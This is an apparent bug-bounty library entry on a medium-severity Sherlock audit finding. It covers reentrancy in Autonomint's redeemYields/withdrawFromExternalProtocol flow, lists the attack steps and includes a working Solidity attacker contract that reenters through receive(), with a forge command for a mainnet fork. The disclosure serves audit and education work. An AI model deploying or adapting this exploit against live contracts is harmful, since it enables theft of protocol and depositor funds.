# Reentrant call in `Treasury::withdrawFromExternalProtocol` during the `Borrowing::redeemYields` flow allows theft of `Treasury` ETH

Borrowing.redeemYields sends ETH to user before burning ABOND, letting a reentrant attacker redeem yield on more ABOND than they hold.

- Payout: Audit contest
- Severity: medium
- Program: Autonomint
- Found by: santiellena
- Disclosed: 2024-11-26
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/408
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-autonomint%3AM-9
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:reentrancy

**Target:** Borrowing.redeemYields / Treasury.withdrawFromExternalProtocol (Solidity contracts)
**Root cause:** redeemYields calls Treasury.withdrawFromExternalProtocol, which sends ETH to the user via an unbounded call, before ABOND is burned and userStates updated; redeemYields lacks nonReentrant and violates checks-effects-interactions.
**Steps:**
1. Attacker acquires ABOND and waits for yield accrual in Ionic
2. Call `Borrowing.redeemYields(address(this), uint128(abond.balanceOf(address(this))))`
3. In `receive()`, reenter `redeemYields` up to 10 times, each time withdrawing ETH based on unchanged `abond.userStates`
4. After N reenters, use withdrawn ETH/USDa to buy the remaining ABOND needed to cover total burned amount
5. Final burn consumes accumulated ABOND; attacker keeps excess yield
**How found:** Code reading of redeemYields ordering: noticed ETH external call to user occurs before abond.burnFromUser and userStates update, and redeemYields lacks nonReentrant while withdrawFromIonicByUser reads stale userStates.
**Exploitation:** Attacker contract's receive() reenters redeemYields repeatedly; each call withdraws ETH from Ionic via withdrawFromIonicByUser using stale userState.ethBacked/cumulativeRate, then burns ABOND only once per call. Attacker ends by purchasing leftover ABOND with withdrawn funds to satisfy the final burn, netting yield on ABOND never held during accrual.
**Escalation:** Repeats reentrancy 10x to multiply yield earned relative to ABOND actually held during accrual period.
**Insight:** When a redeem/burn flow pays out via a native ETH call to the user before decrementing the user's share balance, check whether the payout calculation reads the same stale balance — even if the token must eventually be burned, the attacker can reenter to accrue yield on shares they only acquire at the end.

## Proof of concept (copied exactly from the original report)

**Attacker contract reentering redeemYields via receive()**

```
contract Attacker {
    Borrowing borrowing;
    ABONDToken abond;
    address USER_PROVIDER;
    uint256 counter = 0;
    uint256 withdrawedInTheFirstCall = 0;
    uint256 accumulator = 0;
    ExchangeAbond exchange;
  
    constructor(address _borrowing, address _abond, address _userProvider, address _exchange) {
        borrowing = Borrowing(_borrowing);
        abond = ABONDToken(_abond);
        USER_PROVIDER = _userProvider;
        abond.approve(address(borrowing), type(uint256).max);
        exchange = ExchangeAbond(_exchange);
    }

    function attack() public payable {
        if (counter < 10) {
            if (counter == 1) {
                // just to show that balance in the end is greater
                withdrawedInTheFirstCall = address(this).balance;
            }
            counter += 1;
            accumulator += abond.balanceOf(address(this));
            borrowing.redeemYields(address(this), uint128(abond.balanceOf(address(this))));
        } else {
            // checking that the attacker withdrawed more than the allowed by his funds
            if (withdrawedInTheFirstCall >= address(this).balance) {
                revert();
            }
            // here before returning, the attacker should buy the needed ABOND with the withdrawed ETH and USDa amount
            exchange.buyAbond{value: 1e6}(address(this), accumulator); // eth sent is to "buy"

            if (accumulator > abond.balanceOf(address(this))) {
                revert("Not enough ABOND to BURN");
            }

            return;
        }
    }

    receive() external payable {
        attack();
    }
}
```

**Forge command to run the PoC**

```
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_ReentrancyInRedeemYields -vvv
```

